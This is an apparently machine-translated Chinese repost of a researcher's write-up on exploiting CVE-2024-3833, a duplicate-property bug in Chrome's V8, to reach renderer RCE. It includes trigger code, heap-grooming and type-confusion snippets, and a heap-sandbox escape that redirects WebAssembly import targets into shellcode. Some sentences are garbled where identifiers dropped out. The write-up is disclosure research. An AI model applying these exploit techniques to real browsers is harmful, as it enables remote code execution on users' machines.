克隆攻击:利用重复的对象属性在 Chrome 渲染器中获取 RCE

admin 2024年7月12日18:53:50评论23 views字数 22242阅读74分8秒阅读模式

在这篇文章中,我将利用 Chrome 的 Javascript 引擎 v8 中的一个对象损坏漏洞 CVE-2024-3833,该漏洞允许通过一次访问恶意网站在 Chrome 的渲染器沙箱中执行远程代码执行 (RCE)。

在这篇文章中,我将利用 CVE-2024-3833,这是 Chrome 的 JavaScript 引擎 v8 中的一个对象损坏漏洞,我于 2024 年 3 月将其报告为漏洞 331383939。还报告了一个类似的漏洞331358160,其编号为 CVE-2024-3832。这两个漏洞均已在版本124.0.6367.60/.61中修复。CVE-2024-3833 允许通过一次访问恶意网站在 Chrome 的渲染器沙箱中进行 RCE。

Chrome 中的 Origin 试用

Chrome 中的新功能有时会在正式发布之前以来源试用版的形式推出。当某项功能以来源试用版的形式提供时,网络开发者可以向 Chrome 注册他们的来源,这样他们就可以在注册的来源上使用该功能。这样,网络开发者就可以在他们的网站上测试新功能并向 Chrome 提供反馈,同时保持该功能在未请求使用它们的网站上处于禁用状态。来源试用版的有效期有限,任何人都可以注册他们的来源以使用有效试用列表中的功能。通过注册来源,开发者将获得一个来源试用令牌,他们可以通过添加元标记将其包含在他们的网站中 <meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">

老漏洞

通常,原始试用功能在运行任何用户 Javascript 之前启用。然而,情况并非总是如此。网页可以随时以编程方式创建包含试用令牌的元标记,并且 Javascript 可以在创建标记之前执行。在某些情况下,负责启用特定原始试用功能的代码会错误地认为在此之前没有运行任何用户 Javascript,这可能会导致安全问题。

其中一个例子是CVE-2021-30561,由Google Project Zero的 Sergei Glazunov 报告。在这种情况下,当检测到原始试用令牌时,WebAssembly 异常处理功能会Exception在 Javascript 对象中创建一个属性。WebAssembly


let exception = WebAssembly.Exception; //<---- undefined
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- activates origin trial
...
exception = WebAssembly.Exception; //<---- property created

具体来说,创建属性的代码Exception使用内部函数来创建属性,该函数假定该Exception属性不存在于WebAssembly对象中。如果用户Exception在激活试用之前创建了该属性,则 Chrome 会尝试Exception在 中创建另一个属性WebAssembly。这可能会在 中产生两个具有不同值的重复Exception属性WebAssembly。然后可以利用这一点在Exception属性中引起类型混淆,然后可以利用它来获得 RCE。


WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- creates duplicate Exception property
...

CVE-2021-30561 的实际情况更为复杂,因为启用 WebAssembly 异常处理功能的代码会进行检查以确保对象WebAssembly不包含名为 的属性Exception。然而,那里使用的检查是不够的,CVE-2021-30561 通过使用 JavascriptProxy对象绕过了该检查。有关此绕过和利用如何工作的详细信息,我将建议读者查看原始错误单,其中包含所有详细信息。

另一天,另一次绕道

Javascript Promise Integration是一项 WebAssembly 功能,目前处于原始试用阶段(直到 2024 年 10 月 29 日)。与 WebAssembly 异常处理功能类似,它WebAssembly通过调用以下方法在检测到原始试用令牌时定义对象的属性InstallConditionalFeatures


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
...
// Install JSPI-related features.
if (isolate->IsWasmJSPIEnabled(context)) {
Handle suspender_string = v8_str(isolate, "Suspender");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string) //<--- 1.
.FromMaybe(true)) {
InstallSuspenderConstructor(isolate, context);
}

// Install Wasm type reflection features (if not already done).
Handle function_string = v8_str(isolate, "Function");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string) //<--- 2.
.FromMaybe(true)) {
InstallTypeReflection(isolate, context);
}
}
}

当添加 Javascript Promise Integration (JSPI) 时,上面的代码会检查是否webassembly已经具有属性SuspenderFunction(上面的 1. 和 2.),如果没有,它将分别使用InstallSuspenderConstructor和创建这些属性InstallTypeReflection。该函数InstallSuspenderConstructor用于在对象上InstallConstructorFunc创建属性SuspenderWebAssembly


void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate); //<--- 3.
Handle suspender_constructor = InstallConstructorFunc(
isolate, webassembly, "Suspender", WebAssemblySuspender);
...
}

问题在于,在 中InstallSuspenderConstructorWebAssembly对象来自(上面的 3.)wasm_webassembly_object的属性,而签入的对象来自全局对象的属性(与全局变量相同):contextWebAssemblyInstallConditionalFeaturesWebAssemblyWebAssembly


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
Handle global = handle(context->global_object(), isolate);
// If some fuzzer decided to make the global object non-extensible, then
// we can't install any features (and would CHECK-fail if we tried).
if (!global->map()->is_extensible()) return;

MaybeHandle maybe_wasm =
JSReceiver::GetProperty(isolate, global, "WebAssembly");

可以使用 Javascript 将全局 WebAssembly 变量更改为任何用户定义的对象:


WebAssembly = {}; //<---- changes the WebAssembly global variable

虽然这会改变 的值WebAssembly,但wasm_webassembly_object中的缓存context不会受到影响。因此,可以先Suspender在对象上定义一个属性WebAssembly,然后将WebAssembly变量设置为不同的对象,然后激活原始试验以在原始对象中Javascript Promise Integration创建副本SuspenderWebAssembly


WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//stores the original WebAssembly object in oldWebAssembly
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//Activate trial
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- creates duplicate Suspender property in oldWebAssembly
%DebugPrint(oldWebAssembly);

触发原始试验后,InstallConditionalFeatures首先检查全局变量Suspender中是否存在该属性WebAssembly(见newWebAssembly上文)。然后继续Suspender在中创建该属性context->wasm_webassembly_object(见oldWebAssembly上文)。这样做会Suspender在中创建一个重复的属性oldWebAssembly,就像 CVE-2021-30561 中发生的情况一样。


DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
- map: 0x2d5b00387061 [DictionaryProperties]
- prototype: 0x2d5b003043e9
- elements: 0x2d5b000006f5 [HOLEY_ELEMENTS]
- properties: 0x2d5b0034a8fd
- All own properties (excluding elements): {
...
Suspender: 0x2d5b0039422d (data, dict_index: 20, attrs: [W_C])
...
Suspender: 1 (data, dict_index: 19, attrs: [WEC])

这会导致oldWebAssembly2 个Suspender属性存储在不同的偏移量。我将此问题报告为331358160,并被分配了 CVE-2024-3832。

该函数InstallTypeReflection存在类似的问题,但还有一些额外的问题:


void WasmJs::InstallTypeReflection(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate);

#define INSTANCE_PROTO_HANDLE(Name)
handle(JSObject::cast(context->Name()->instance_prototype()), isolate)

...
InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type", //<--- 1.
WebAssemblyTableType, 0, false, NONE,
SideEffectType::kHasNoSideEffect);
...
#undef INSTANCE_PROTO_HANDLE
}

该函数InstallTypeReflection还在其他各种对象中定义type属性。例如,在 1. 中,在的对象type中创建属性,而不检查该属性是否已存在:prototypewasm_tag_constructor


var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<--- creates duplicate type property on x

这样就可以type在 上创建重复的属性WebAssembly.Tag.prototype。此问题报告为331383939,并被分配了 CVE-2024-3833。

新的漏洞利用

CVE-2021-30561 的漏洞利用依赖于创建“快速对象”的重复属性。在 v8 中,快速对象将其属性存储在数组中(某些属性也存储在对象本身内)。但是,此后发布了一个强化补丁,该补丁在向快速对象添加属性时会检查重复项。因此,不再可能创建具有重复属性的快速对象。

但是,仍然可以利用该漏洞在“字典对象”中创建重复属性。在 v8 中,属性字典实现为NameDictionary。 的底层存储NameDictionary实现为一个数组,每个元素都是形式为 的元组(Key, Value, Attribute),其中Key是属性的名称。向 添加属性时NameDictionary,数组中的下一个空闲条目用于存储这个新元组。利用此漏洞,可以使用重复的 来在属性字典中创建不同的条目。在CVE-2023-2935Key的报告中,Sergei Glazunov 展示了如何使用字典对象利用重复属性原语。但是,这依赖于能够将重复属性创建为属性,这是 v8 中的一种特殊属性,通常为内置对象保留。同样,在当前情况下这是不可能的。所以,我需要找到一种新的方法来利用这个问题。AccessorInfo

这个想法是寻找一些内部函数或优化,这些函数或优化将遍历对象的所有属性,但不希望属性重复。我想到的一个这样的优化是对象克隆。

克隆人的进攻

克隆攻击:利用重复的对象属性在 Chrome 渲染器中获取 RCE

当使用扩展语法复制对象时,将创建原始对象的浅表副本:


const clonedObj = { ...obj1 };

在 v8 中,这被实现为 CloneObject 字节码:


0x39b300042178 @ 0 : 80 00 00 29 CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @ 15 : 82 f7 29 05 CloneObject r2, #41, [5]

首次运行包含字节码的函数时,会生成内联缓存代码,并用于在后续调用中处理字节码。在处理字节码时,内联缓存代码还将收集有关输入对象的信息(obj1),并为相同类型的输入生成优化的内联缓存处理程序。首次运行内联缓存代码时,没有有关先前输入对象的信息,也没有可用的缓存处理程序。因此,会检测到内联缓存未命中,并CloneObjectIC_Miss用于处理字节码。为了了解CloneObject内联缓存的工作原理及其与漏洞利用的关系,我将回顾 v8 中对象类型和属性的一些基础知识。v8 中的 Javascript 对象存储一个map指定对象类型的字段,特别是它指定属性在对象中的存储方式:


x = { a : 1};
x.b = 1;
%DebugPrint(x);

的输出%DebugPrint如下:


DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
- map: 0x1c870011afb1 [FastProperties]
...
- properties: 0x1c870020b161
- All own properties (excluding elements): {
0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
}

我们看到x有两个属性——一个存储在对象中(a),另一个存储在 a 中PropertyArray。请注意 的长度为PropertyArray3PropertyArray[3],而 中只存储一个属性PropertyArraylengtha 的PropertyArray类似于 C++ 中 a 的容量。容量稍大一些可以避免每次向对象添加新属性时都std::vector必须扩展和重新分配。PropertyArray

对象的map使用字段inobject_propertiesunused_property_fields来指示对象中存储了多少个属性以及 中剩余多少空间PropertyArray。在本例中,我们有2可用空间(3 (PropertyArray length) - 1 (property in the array) = 2)。


0x1c870011afb1: [Map] in OldSpace
- map: 0x1c8700103c35 <MetaMap (0x1c8700103c85 )>
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
- unused property fields: 2
...

当发生缓存未命中时,首先尝试通过检查对象CloneObjectIC_Miss的来确定克隆的结果(target)是否可以使用与原始对象()相同的映射如下文中的 1.):sourcemapsourceGetCloneModeForMap


RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(4, args.length());
Handle source = args.at(0);
int flags = args.smi_value_at(1);

if (!MigrateDeprecated(isolate, source)) {
...
FastCloneObjectMode clone_mode =
GetCloneModeForMap(source_map, flags, isolate); //<--- 1.
switch (clone_mode) {
case FastCloneObjectMode::kIdenticalMap: {
...
}
case FastCloneObjectMode::kEmptyObject: {
...
}
case FastCloneObjectMode::kDifferentMap: {
...
}
...
}
...
}
...
}

与我们相关的案例是FastCloneObjectMode::kDifferentMap模式。


case FastCloneObjectMode::kDifferentMap: {
Handle res;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, res, CloneObjectSlowPath(isolate, source, flags)); //<----- 1.
Handle result_map(Handle::cast(res)->map(),
isolate);
if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
isolate)) {
...
nexus.ConfigureCloneObject(source_map, //<----- 2.
MaybeObjectHandle(result_map));
...

在此模式下,source首先通过慢速路径(上文中的 1.)对对象进行浅拷贝。然后将内联缓存的处理程序编码为一对映射,分别由sourcetarget对象的映射组成(上文中的 2.)。

从现在开始,如果要source_map克隆另一个具有的对象,则使用内联缓存处理程序source来克隆该对象。本质上,对象的复制方式如下:

  1. 复制source对象的 PropertyArray:


    TNode source_property_array = CAST(source_properties);

    TNode length = LoadPropertyArrayLength(source_property_array);
    GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object);

    TNode property_array = AllocatePropertyArray(length);
    FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
    CopyPropertyArrayValues(source_property_array, property_array, length,
    SKIP_WRITE_BARRIER, DestroySource::kNo);
    var_properties = property_array;
  2. 分配目标对象并用作result_map其映射。


    TNode object = UncheckedCast(AllocateJSObjectFromMap(
    result_map.value(), var_properties.value(), var_elements.value(),
    AllocationFlag::kNone,
    SlackTrackingMode::kDontInitializeInObjectProperties));
  3. 将对象内的属性从复制sourcetarget


    BuildFastLoop(
    result_start, result_size,
    [=](TNode field_index) {
    ...
    StoreObjectFieldNoWriteBarrier(object, result_offset, field);
    },
    1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);

如果我尝试克隆具有重复属性的对象会发生什么?首次运行代码时,CloneObjectSlowPath会调用 来分配target对象,然后将每个属性从 复制sourcetarget。但是, 中的代码CloneObjectSlowPath可以正确处理重复属性,因此当遇到 中的重复属性时source,不会在 中创建重复属性target,而是覆盖现有属性。例如,如果我的source对象具有以下布局:


DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
- map: 0x38ea00397745 [FastProperties]
...
- properties: 0x38ea00355e85
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171 (const data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499 (const data field 7), location: properties[3]

PropertyArray长度为 ,其中 的最后一个属性4克隆此对象的结果将覆盖第一个属性:typePropertyArraytargettype


DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea00356001
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499 (data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]

请注意,target具有和PropertyArraylength 3三个属性PropertyArray(属性#a4..#a6location在中有)。特别是,对象properties没有unused_property_fieldstarget


0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0

虽然这看起来像是一个挫折,因为重复的属性不会传播到对象target,但真正的魔力发生在内联缓存处理程序接管时。请记住,当使用内联缓存处理程序克隆时,生成的对象maptarget中的对象相同CloneObjectSlowPath,而 是对象的PropertyArray的副本。这意味着来自内联缓存处理程序的克隆具有以下属性布局:PropertyArraysourcetarget


DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea003565b1
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171 (data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]

请注意,它有一个PropertyArraylength 4但数组中只有三个属性,剩下一个未使用的属性。但是,它与( )map使用的相同,后者没有CloneObjectSlowPath0x38ea003978b9unused_property_fields


0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0

unused_property_fields因此,我得到的不是具有重复属性的对象,而是具有不一致的和 的对象PropertyArray。现在,如果我向此对象添加新属性,map则会创建一个新的 来反映对象的新属性布局。这个新的map具有unused_property_fields基于旧的 的map,它是在 中计算的AccountAddedPropertyField。本质上,如果旧的unused_property_fields为正,则这会将 减unused_property_fields一以解释正在添加的新属性。如果旧的unused_property_fields为零,则将新的unused_property_fields设置为二,以解释PropertyArray已满且必须扩展 的事实。

另一方面,延长的决定PropertyArray是基于其length而不是unused_property_fieldsmap


void MigrateFastToFast(Isolate* isolate, Handle object,
Handle new_map) {
...
// Check if we still have space in the {object}, in which case we
// can also simply set the map (modulo a special case for mutable
// double boxes).
FieldIndex index = FieldIndex::ForDetails(*new_map, details);
if (index.is_inobject() || index.outobject_array_index() property_array(isolate)->length()) {
...
object->set_map(*new_map, kReleaseStore);
return;
}
// This migration is a transition from a map that has run out of property
// space. Extend the backing store.
int grow_by = new_map->UnusedPropertyFields() + 1;
...

因此,如果我有一个对象,unused_property_fields其 中有一个空格,但 中有一个空格PropertyArray(即length = existing_property_number + 1),那么PropertyArray当我添加新属性时 不会扩展。因此,添加新属性后, 将PropertyArray是满的。但是,如前所述,unused_property_fields会独立更新,并且会设置为 2,就像 扩展PropertyArray了 一样:


DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
- map: 0x257500397749 [FastProperties]
...
- properties: 0x2575003565b1
- All own properties (excluding elements): {
0x257500004045: [String] in ReadOnlySpace: #type: 0x25750034b171 (data field 0), location: in-object
0x25750038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
0x25750038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
0x25750038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
0x2575003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
0x2575003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
0x2575003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
0x257500002c31: [String] in ReadOnlySpace: #x: 1 (const data field 7), location: properties[3]
}
0x257500397749: [Map] in OldSpace
- map: 0x2575003034b1 <MetaMap (0x257500303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2

这很重要,因为 v8 的 JIT 编译器 TurboFan 使用来unused_property_fields决定是否PropertyArray需要扩展


JSNativeContextSpecialization::BuildPropertyStore(
Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
Node* control, NameRef name, ZoneVector* if_exceptions,
PropertyAccessInfo const& access_info, AccessMode access_mode) {
...
if (transition_map.has_value()) {
// Check if we need to grow the properties backing store
// with this transitioning store.
...
if (original_map.UnusedPropertyFields() == 0) {
DCHECK(!field_index.is_inobject());

// Reallocate the properties {storage}.
storage = effect = BuildExtendPropertiesBackingStore(
original_map, storage, effect, control);

unused_property_fields因此,通过向具有两个和一个完整的JIT的对象添加新属性PropertyArray,我将能够写入PropertyArray越界 (OOB) 并覆盖其后分配的所有内容。

创建具有重复属性的快速对象

为了触发 OOB 写入PropertyArray,我首先需要创建一个具有重复属性的快速对象。如前所述,强化补丁在向快速对象添加属性时引入了对重复项的检查,因此我无法直接创建具有重复属性的快速对象。解决方案是首先利用该漏洞创建一个具有重复属性的字典对象,然后将该对象更改为快速对象。为此,我将使用 来WebAssembly.Tag.prototype触发该漏洞:


var x = WebAssembly.Tag.prototype;
x.type = {};
//delete properties results in dictionary object
delete x.constructor;
//Trigger bug to create duplicated type property
...

一旦我得到了一个具有重复属性的字典对象,我就可以使用 将其更改为快速对象MakePrototypesFast,这可以通过属性访问触发:


var y = {};
//setting x to the prototype of y
var y.__proto__ = x;
//Property access of `y` calls MakePrototypeFast on x
y.a = 1;
z = y.a;

通过使x成为对象的原型y,然后访问 的属性yMakePrototypesFast被称为 变为x具有重复属性的快速对象。此后,我可以克隆x以触发 中的 OOB 写入PropertyArray

利用 PropertyArray 中的 OOB 写入

要利用 中的 OOB 写入PropertyArray,我们首先检查并查看 之后分配了什么PropertyArray。回想一下 是PropertyArray在内联缓存处理程序中分配的。从处理程序代码中,我可以看到 是在对象分配PropertyArray之前分配的:target


void AccessorAssembler::GenerateCloneObjectIC() {
...
TNode property_array = AllocatePropertyArray(length); //<--- property_array allocated
...
var_properties = property_array;
}

Goto(&allocate_object);
BIND(&allocate_object);
...
TNode object = UncheckedCast(AllocateJSObjectFromMap( //<--- target object allocated
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties));

由于 v8 线性分配对象,因此 OOB 写入允许我更改对象的内部字段。为了利用此漏洞,我将覆盖对象target的第二个字段,即存储对象地址的字段。这涉及创建 JIT 函数以向对象添加两个属性targetpropertiesPropertyArraytargettarget


a8 = {c : 1};
...
function transition_store(x) {
x.a7 = 0x100;
}
function transition_store2(x) {
x.a8 = a8;
}
... //JIT optimize transition_store and transition_store2
transition_store(obj);
//Causes the object a8 to be interpreted as PropertyArray of obj
transition_store2(obj);

当将属性存储到具有不一致和的a8损坏对象时,对的 OOB 写入用 Javascript 对象覆盖。然后可以通过仔细排列 v8 堆中的对象来利用这一点。由于对象在 v8 堆中线性分配,因此可以通过按顺序分配对象来轻松排列堆。例如,在以下代码中:objPropertyArrayunused_property_fieldsPropertyArrayPropertyArrayobja8


var a8 = {c : 1};
var a7 = [1,2];

对象周围的 v8 堆a8如下所示:

克隆攻击:利用重复的对象属性在 Chrome 渲染器中获取 RCE

左侧显示对象a8a7。字段mapproperties,elements是与 Javascript 对象相对应的 C++ 对象中的内部字段。右侧表示将内存视为的视图PropertyArrayobj当的设置为的地址时PropertyArrayobj。Aa8PropertyArray两个内部字段maplength。当对象a8与的类型混淆时,PropertyArrayproperties字段(即其的地址PropertyArray)被解释为length的的。由于地址通常是一个大数字,因此这允许进一步对的进行 OOB 读取和写入PropertyArrayobjPropertyArrayobj

ai+3的属性PropertyArray将与length的字段对齐Array a7。通过写入此属性,可以覆盖lengthArray a7。这使我能够在 Javascript 数组中实现 OOB 写入,这可以以标准方式利用。但是,为了覆盖 字段length,我必须不断添加属性,obj直到到达length字段。不幸的是,这意味着我还将覆盖mappropertieselements字段,这将破坏Array a7

为了避免覆盖 的内部字段a7,我将改为创建 ,a7以便其PropertyArray在它之前分配。这可以通过a7使用克隆创建来实现:


var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
function clone0(x) {
return {...x};
}
//run clone0(obj0) a few times to create inline cache handler
...
var a8 = {c : 1};
//inline cache handler used to create a7
var a7 = clone0(obj0);

该对象obj0有 5 个字段,其中最后一个字段c4存储在PropertyArray


DebugPrint: 0xad0004a249: [JS_OBJECT_TYPE]
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d (const data field 4), location: properties[0]

obj0使用函数中的内联缓存处理程序进行克隆时clone0,请记住,对象PropertyArraytargeta7在本例中)首先分配,因此PropertyArraya7在对象之后a8、但在之前分配a7


//address of a8
DebugPrint: 0xad0004a7fd: [JS_OBJECT_TYPE]
//DebugPrint of a7
DebugPrint: 0xad0004a83d: [JS_OBJECT_TYPE]
- properties: 0x00ad0004a829
- All own properties (excluding elements): {
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d (const data field 4), location: properties[0]
}

我们可以看到,的地址a8为,而0xad0004a7fd地址,且。这导致了以下内存布局:PropertyArraya70x00ad0004a829a70xad0004a83d

克隆攻击:利用重复的对象属性在 Chrome 渲染器中获取 RCE

使用此堆布局,我可以通过写入与对齐的c4的属性来覆盖 的属性。虽然也将被覆盖,但这似乎不会影响 的属性访问。然后,我可以通过使用 JIT 编译器中的优化属性加载在 Javascript之间创建类型混淆a7aiobjc4maplengthPropertyArraya7ObjectArray


function set_length(x) {
x.c4.len = 1000;
}

当函数以作为其set_length进行优化时,由于属性是一个具有常量的对象(它始终为),因此该属性的存储在的中。JIT编译器利用此信息优化的属性访问。只要的与相同就会具有与的相同,因此可以直接使用内存偏移量访问属性,而无需检查的。但是,通过在将中使用 OOB 写入更改为双精度型,,不会改变,的 JIT 编译代码将把视为仍然具有与的相同,并直接写入与的属性相对应的内存偏移量。由于现在是一个对象,,将覆盖的属性,这使我能够越界访问。一旦实现对的 OOB 访问,在 v8 堆中获得任意读写就相当简单了。它主要包括以下步骤:a7input xc4a7map{len : 1}mapmapa7x.c4.lenmapxmapa7x.c4map{len : 1}lenx.c4mapx.c4PropertyArraya7.c4Arraycorrupted_arrmapa7set_lengtha7.c4map{len : 1}lena7.c4a7.c4Arraycorrupted_arrlengthcorrupted_arrcorrupted_arrcorrupted_arr

  1. 首先,Object Array在 之后放置一个corrupted_arr,然后使用 OOB 读取原语来corrupted_arr读取存储在此数组中的对象的地址。这样我就可以获取任何 V8 对象的地址。

  2. writeArr在 之后放置另一个双精度数组,corrupted_arr并使用 中的 OOB 写入原语将 的字段corrupted_arr覆盖为对象地址。访问 的元素允许我读取/写入任意地址。elementwriteArrwriteArr

绕过v8堆沙箱

最近引入的v8 堆沙箱将 v8 堆与其他进程内存(如可执行代码)隔离开来,并防止 v8 堆内的内存损坏访问堆外的内存。要获得代码执行,需要一种方法来逃离堆沙箱。由于这个错误是在 Pwn2Own 比赛后不久报告的,我决定检查提交内容,看看是否有任何沙箱逃逸问题因比赛而得到修补。果然,有一个提交似乎在修复堆沙箱逃逸问题,我猜想它是在 Pwn2Own 比赛的参赛作品中使用的。

创建WebAssembly.Instance对象时,可以导入来自 Javascript 或其他 WebAssembly 模块的对象并在实例中使用:


const importObject = {
imports: {
imported_func(arg) {
console.log(arg);
},
},
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);

在这种情况下,被imported_func导入到实例中,并且可以由导入它们的 WebAssembly 模块中定义的 WebAssembly 函数调用:


(module
(func $i (import "imports" "imported_func") (param i32))
(func (export "exported_func")
i32.const 42
call $i
)

为了在 v8 中实现这一点,当WebAssembly.Instance创建时,FixedAddressArray使用来存储导入函数的地址:


Handle WasmTrustedInstanceData::New(
Isolate* isolate, Handle module_object) {
...
const WasmModule* module = module_object->module();

int num_imported_functions = module->num_imported_functions;
Handle imported_function_targets =
FixedAddressArray::New(isolate, num_imported_functions);
...

然后,在调用导入函数时将其用作调用目标。由于它FixedAddressArray位于 v8 堆中,因此一旦我获得 v8 堆中的任意读写原语,它就可以轻松被修改。因此,我可以重写导入的函数目标,这样当在 WebAssembly 代码中调用导入的函数时,它将跳转到我准备获得代码执行的某个 shell 代码的地址。

具体来说,如果导入的函数是 JavascriptMath函数,则会编译一些包装器代码并将其用作调用目标imported_function_targets


bool InstanceBuilder::ProcessImportedFunction(
Handle trusted_instance_data, int import_index,
int func_index, Handle module_name, Handle import_name,
Handle value, WellKnownImport preknown_import) {
...
default: {
...
WasmCode* wasm_code = native_module->import_wrapper_cache()->Get( //kind() == WasmCode::kWasmToJsWrapper) {
...
} else {
// Wasm math intrinsics are compiled as regular Wasm functions.
DCHECK(kind >= ImportCallKind::kFirstMathIntrinsic &&
kind instance_object(), //instruction_start());
}

由于编译后的包装器代码与Liftoff 编译器rx编译的其他 WebAssembly 代码存储在同一个区域中,因此我可以创建存储数值数据的 WebAssembly 函数,并重写以跳转到这些数据的中间,以便将它们解释为代码并执行。这个想法类似于JIT 喷射,这是一种绕过堆沙箱的方法,但后来被修补了。由于包装器代码和我编译的 WebAssembly 代码位于同一区域,因此可以计算它们之间的偏移量,这使我能够精确跳转到我精心设计的 WebAssembly 代码中的数据来执行任意 shell 代码。imported_function_targets

您可以在此处找到该漏洞及其一些设置说明。

结论

在这篇文章中,我研究了 CVE-2024-3833,这是一个允许在 v8 对象中创建重复属性的漏洞,它与漏洞 CVE-2021-30561 类似。虽然由于代码强化,利用 CVE-2021-30561 中重复属性的方法不再可用,但我能够以不同的方式利用该漏洞。

  1. 首先将重复的属性转移到对象PropertyArray与其之间的不一致之处map

  2. 然后这变成了的 OOB 写入PropertyArray,然后我用它来制造 JavascriptObject和 Javascript之间的类型混淆Array

  3. 一旦实现了这种类型混淆,我就可以重写length类型混淆的 Javascript Array。然后,这将成为 Javascript 中的 OOB 访问Array

一旦在 JavaScript 中实现了 OOB 访问Arraycorrupted_arr),就可以将其转变为在 v8 堆内进行任意读写,这是相当标准的。它基本上包括以下步骤:

  1. 首先,Object Array在 之后放置一个corrupted_arr,然后使用 OOB 读取原语来corrupted_arr读取存储在此数组中的对象的地址。这样我就可以获取任何 V8 对象的地址。

  2. writeArr在 之后放置另一个双精度数组,corrupted_arr并使用 中的 OOB 写入原语将 的字段corrupted_arr覆盖为对象地址。访问 的元素允许我读取/写入任意地址。elementwriteArrwriteArr

